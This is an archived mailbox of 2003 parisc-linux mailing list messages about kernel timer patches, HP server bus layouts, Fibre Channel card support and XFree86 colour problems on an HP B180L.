CMMУ(http://www.21cmm.com)Ŀר


From - Thu Nov 08 21:29:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sched_clock implementation
Date: Mon, 6 Oct 2003 10:20:06 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20031006142006.GB27512@systemhalted>
References: <20030918203510.GD21596@parcelfarce.linux.theplanet.co.uk> <3F6B2199.8050402@tiscali.be> <20030919160035.GG18225@systemhalted> <3F6C9622.60402@tiscali.be> <20030921000447.GC31268@dsl2.external.hp.com> <3F803C14.4030900@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622846 32035 80.91.229.3 (22 Nov 2014 02:20:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:46 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  6 08:23:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4EDA84840; Mon,  6 Oct 2003 08:23:15 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A6WDX-0007B6-00; Mon, 06 Oct 2003 10:20:07 -0400
Content-Disposition: inline
In-Reply-To: <3F803C14.4030900@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19732

On Sun, Oct 05, 2003 at 03:43:16PM +0000, Joel Soete wrote:
> +        spin_lock_irq(&pdc_lock);
> +        retval = mem_pdc_call(PDC_TOD, PDC_TOD_ITIMER, 
> __pa(pdc_result), 0);
> +        convert_to_wide(pdc_result);

Your mailer is folding lines.

Aside from that the patch looks interesting. It could be used to find
the rate at which cr16 is running, and then we can use that as an HP
timer into userspace. The next portion is solving the monotic
requirement on the clock (e.g. follow the idea of 3 cr16 reads to catch
a reschedule).

c.



From - Thu Nov 08 21:29:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] L2000/N4000 smp devices/boot compare??
Date: Mon, 6 Oct 2003 08:31:44 -0600
Lines: 42
Approved: news@gmane.org
Message-ID: <20031006143144.GA19370@dsl2.external.hp.com>
References: <3F5CB6FB0000C2D7@ocpmta1.freegates.net> <20031002233801.23113.qmail@web12508.mail.yahoo.com> <20031003001810.GH24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622847 32039 80.91.229.3 (22 Nov 2014 02:20:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:47 +0000 (UTC)
Cc: Derek Engelhaupt <derekengelhaupt@rocketmail.com>,
	Joel Soete <soete.joel@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  6 08:31:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 7F0E64840; Mon,  6 Oct 2003 08:31:44 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20031003001810.GH24824@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19733

On Fri, Oct 03, 2003 at 01:18:10AM +0100, Matthew Wilcox wrote:
> I once downloaded an N-class PDF which I've subsequently lost.
> If I remember correctly, it looked like:
> 
>      CPU --+-- CPU          RAM          CPU --+-- CPU
>           DEW              |||||              DEW
>   +--------+--------+---- Stretch ----+--------+------+
>  IKE               DEW               DEW             IKE
> |||||         CPU --+-- CPU     CPU --+-- CPU       |||||
> Ropes                                               Ropes
> 
> (Elroys on the end of the ropes, of course).

I thought Ike was hanging off of "Stretch" like this:
   CPU --+-- CPU              RAM             CPU --+-- CPU
        DEW                  |||||                 DEW
         +----------------- Stretch ----------------+
        DEW                  |   |                 DEW
   CPU --+-- CPU           IKE   IKE          CPU --+-- CPU
                       ||...||   ||...||
                      12 ropes   12 ropes

DEW == Runway to Merced bus converter
IKe == I/O Controller (DMA Coherency and IO MMU)

10 PCI slots are "Twin Turbo" (Double Rope) and two are "Turbo" (singl
rope). "Core I/O" gets the remaining two ropes.


However, the original N-class has been replaced with rp7410.
Not sure if when the switchover took place.
rp7410 is now kin to Superdome (HalfDome) and rp8400 (QuarterDome)
and is based on a follow-on chipset.
URL's here:
http://www.hp.com/products1/servers/mid_range/index.html
http://www.hp.com/products1/servers/rackoptimized/rp7410/infolibrary/rp7410_wp.pdf

grant

ps. We are completely under representing the complexity of "RAM" and all
the memory controllers that made this such a hot box 4 years ago.


From - Thu Nov 08 21:29:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] traps.c 2.4 alignement [was: 2.6.0-test6-pa6 on b2k finaly crash]
Date: Mon, 6 Oct 2003 10:33:19 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20031006143319.GC27512@systemhalted>
References: <3F5CB6FB0000CBFC@ocpmta1.freegates.net> <3F803388.5090304@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622847 32040 80.91.229.3 (22 Nov 2014 02:20:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:47 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  6 08:37:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40BC54840
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Oct 2003 08:37:22 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A6WQJ-0007CP-00; Mon, 06 Oct 2003 10:33:19 -0400
Content-Disposition: inline
In-Reply-To: <3F803388.5090304@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19734

On Sun, Oct 05, 2003 at 03:06:48PM +0000, Joel Soete wrote:
> Hi Carlos and all,
> 
> Regarding a bit more about this crash dump, I figure out that your patch 
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017565.html> 
> was not yet 'aligned' in 2.6.
> So may I suggest you this first draft:

The draft looks good. I'll merge it into 2.6 today and test on my
system.

c.


From - Thu Nov 08 21:29:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Padgett, Pat M [NTWK SVCS]" <PatPadgett@NMCC.SprintSpectrum.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux]  HP FC A3591 aka Mombasa GS -- or A6684A?
Date: Mon, 6 Oct 2003 09:38:42 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <1289146742B56546AE580DFC6B711A8301B1AF99@PKDWB07C.ad.sprint.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622847 32044 80.91.229.3 (22 Nov 2014 02:20:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:47 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  6 08:38:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail3-atl-R.bigfish.com (mail-orl.bigfish.com [63.161.60.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF0EE4840
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Oct 2003 08:38:57 -0600 (MDT)
Original-Received: from mail3-atl.bigfish.com (localhost.localdomain [127.0.0.1])
	by mail3-atl-R.bigfish.com (Postfix) with ESMTP
	id A6FB2378B1F; Mon,  6 Oct 2003 14:38:55 +0000 (UCT)
Original-Received: by mail3-atl (MessageSwitch) id 1065451135668043_16828; Mon,  6 Oct 2003 14:38:53 +0000 (UCT)
Original-Received: from smtpgw6.it.sprintspectrum.com (smtpgw6.sprintspectrum.com [207.40.188.14])
	by mail3-atl.bigfish.com (Postfix) with ESMTP
	id 486FA378B60; Mon,  6 Oct 2003 14:38:53 +0000 (UCT)
Original-Received: from mailhost.sprintspectrum.com (smtpgw7.it.sprintspectrum.com [207.40.65.55])
	by smtpgw6.it.sprintspectrum.com (8.12.10/8.12.8) with ESMTP id h96EclRZ008602;
	Mon, 6 Oct 2003 09:38:47 -0500 (CDT)
Original-Received: from PDAWG01A.corp.sprint.com (localhost [127.0.0.1])
	by mailhost.sprintspectrum.com (Switch-2.2.8/Switch-2.2.6) with ESMTP id h96EclV03798;
	Mon, 6 Oct 2003 09:38:47 -0500 (CDT)
Original-Received: from PKDWB01C.ad.sprint.com ([10.185.12.21]) by PDAWG01A.corp.sprint.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Mon, 6 Oct 2003 09:38:43 -0500
Original-Received: from PKDWB07C.ad.sprint.com ([10.185.12.151]) by PKDWB01C.ad.sprint.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Mon, 6 Oct 2003 09:38:43 -0500
X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux]  HP FC A3591 aka Mombasa GS -- or A6684A?
Thread-Index: AcOJUyp820Pc0ADpSpyRaRCTKXpMjACxAibQ
X-OriginalArrivalTime: 06 Oct 2003 14:38:43.0597 (UTC) FILETIME=[8AB833D0:01C38C17]
X-BigFish: v
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19735

Good morning,

Does anyone know if the replacement for the A3591B is supported?

The replacement card is the A6684A HSC Tachlite card.

Thanks!

Pat Padgett

-----Original Message-----
From: Matthew Wilcox [mailto:willy@debian.org]=20
Sent: Thursday, October 02, 2003 9:08 PM
To: Padgett, Pat M [NTWK SVCS]
Cc: Matthew Wilcox; parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] HP HSC J3516A (2 port) ethernet card
(supported??) ... And HP FC A3591 aka Mombasa GS


On Thu, Oct 02, 2003 at 08:48:59PM -0500, Padgett, Pat M [NTWK SVCS]
wrote:
> Also, does anyone know which driver (if any) supports the follwing=20
> card (HP Fibre Channel A3591).
>=20
> The kernel reports them as :
>=20
> 2. Mombasa GS Add-on mass FC (A3591) (4) at 0xf1004000 [8/4], versions

> 0x18, 0x0, 0xa7 17. Mombasa GS Add-on mass FC (A3591) (4) at=20
> 0xf180c000 [10/12], versions 0x18, 0x0, 0xa7

As far as I can tell, these are Tachyon cards with a GSC interface. They
aren't supported by any driver at the moment.  drivers/scsi/cpqfcTS*
would be the driver that needs to be altered.  Unfortunately, it's one
of the canonical examples of badly written drivers, and these cards
aren't exactly common, so I'm not aware of anyone trying to make these
cards work.

--=20
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead
bodies. Do you think I want to have an academic debate on this subject?"
-- Robert Fisk


From - Thu Nov 08 21:29:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]  HP FC A3591 aka Mombasa GS -- or A6684A?
Date: Mon, 6 Oct 2003 16:20:55 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20031006152055.GZ24824@parcelfarce.linux.theplanet.co.uk>
References: <1289146742B56546AE580DFC6B711A8301B1AF99@PKDWB07C.ad.sprint.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622848 32050 80.91.229.3 (22 Nov 2014 02:20:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:48 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Padgett, Pat M [NTWK SVCS]" <PatPadgett@NMCC.SprintSpectrum.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  6 09:21:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71E9C4840
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Oct 2003 09:21:00 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A6XAN-00015E-88; Mon, 06 Oct 2003 16:20:55 +0100
Content-Disposition: inline
In-Reply-To: <1289146742B56546AE580DFC6B711A8301B1AF99@PKDWB07C.ad.sprint.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19736

On Mon, Oct 06, 2003 at 09:38:42AM -0500, Padgett, Pat M [NTWK SVCS] wrote:
> Good morning,
> 
> Does anyone know if the replacement for the A3591B is supported?
> 
> The replacement card is the A6684A HSC Tachlite card.

I think this is much more likely to work ... do you happen to know whether
it's a native GSC card or whether it has a Dino bridge on it?  Dino is
a biggish HP chip labelled 1FC3-0004, probably close to the GSC connector.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Dilasser <marc.dilasser@free.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Xfree on a B180L
Date: Mon, 6 Oct 2003 17:23:39 +0200
Lines: 9
Approved: news@gmane.org
Message-ID: <200310061723.40002.marc.dilasser@free.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622848 32052 80.91.229.3 (22 Nov 2014 02:20:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  6 09:23:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postfix4-1.free.fr (postfix4-1.free.fr [213.228.0.62])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D95A4840
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Oct 2003 09:23:03 -0600 (MDT)
Original-Received: from 299890au303 (rennes-1-a7-62-147-212-75.dial.proxad.net [62.147.212.75])
	by postfix4-1.free.fr (Postfix) with ESMTP id E05B0513BD
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Oct 2003 17:23:01 +0200 (CEST)
User-Agent: KMail/1.4.3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19737

Hello,

HP B180L with a 21" Sun monitor, Debian 3.0 r1.
Xfree runs but the colors are very yellow; harware problems or something =
in=20
the XFConfig-4 ?

Marc


From - Thu Nov 08 21:29:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@speakeasy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree on a B180L
Date: Mon, 6 Oct 2003 11:39:21 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <418F7D30-F813-11D7-A0B2-000393581E44@speakeasy.net>
References: <200310061723.40002.marc.dilasser@free.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622848 32055 80.91.229.3 (22 Nov 2014 02:20:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Marc Dilasser <marc.dilasser@free.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  6 09:39:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail12.speakeasy.net [216.254.0.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id 596E448AD
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Oct 2003 09:39:23 -0600 (MDT)
Original-Received: (qmail 1324 invoked from network); 6 Oct 2003 15:39:22 -0000
Original-Received: from unknown (HELO speakeasy.net) (caslivkoff@[216.27.161.152])
          (envelope-sender <caslivkoff@speakeasy.net>)
          by mail12.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 6 Oct 2003 15:39:22 -0000
In-Reply-To: <200310061723.40002.marc.dilasser@free.fr>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19738

On Monday, Oct 6, 2003, at 11:23 US/Eastern, Marc Dilasser wrote:

> HP B180L with a 21" Sun monitor, Debian 3.0 r1.
> Xfree runs but the colors are very yellow; harware problems or 
> something in
> the XFConfig-4 ?
>

Marc,

Here are a couple of possibilities that I can think of:

1/ The video timing is set to use sync-on-green (s-o-g). Does the 
monitor support it? What type of cable are you using? How does it 
connect to the monitor? Does it have HD-15 plug or 3/5-BNC connectors? 
Interrupt the boot and type "co mo" at the prompt. What timing is 
selected? If it does not list a "VESA" timing, then it is set to s-o-g. 
If you are using s-o-g and you have a 5-BNC cable, disconnect the H & V 
lines. Otherwise, try one of the VESA entries.

2/ You've selected to run in depth 8 TrueColor. If this is the case, 
then it will be normal due to the uneven distribution of RGB (332). 
Check the "xwininfo -root" output or look in XF86Config.

-chuck



From - Thu Nov 08 21:29:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree on a B180L
Date: Mon, 6 Oct 2003 17:39:42 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20031006153942.GF20846@lug-owl.de>
References: <200310061723.40002.marc.dilasser@free.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="qpqR4wE1CEr+Roqx"
X-Trace: ger.gmane.org 1416622849 32059 80.91.229.3 (22 Nov 2014 02:20:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  6 09:39:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57A664840
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Oct 2003 09:39:43 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 281754B3D6; Mon,  6 Oct 2003 17:39:42 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <200310061723.40002.marc.dilasser@free.fr>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19739

--qpqR4wE1CEr+Roqx
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 2003-10-06 17:23:39 +0200, Marc Dilasser <marc.dilasser@free.fr>
wrote in message <200310061723.40002.marc.dilasser@free.fr>:
> Hello,
>=20
> HP B180L with a 21" Sun monitor, Debian 3.0 r1.
> Xfree runs but the colors are very yellow; harware problems or something =
in=20
> the XFConfig-4 ?

Have you tried the 'Visual "TrueColor"' config option?

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--qpqR4wE1CEr+Roqx
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

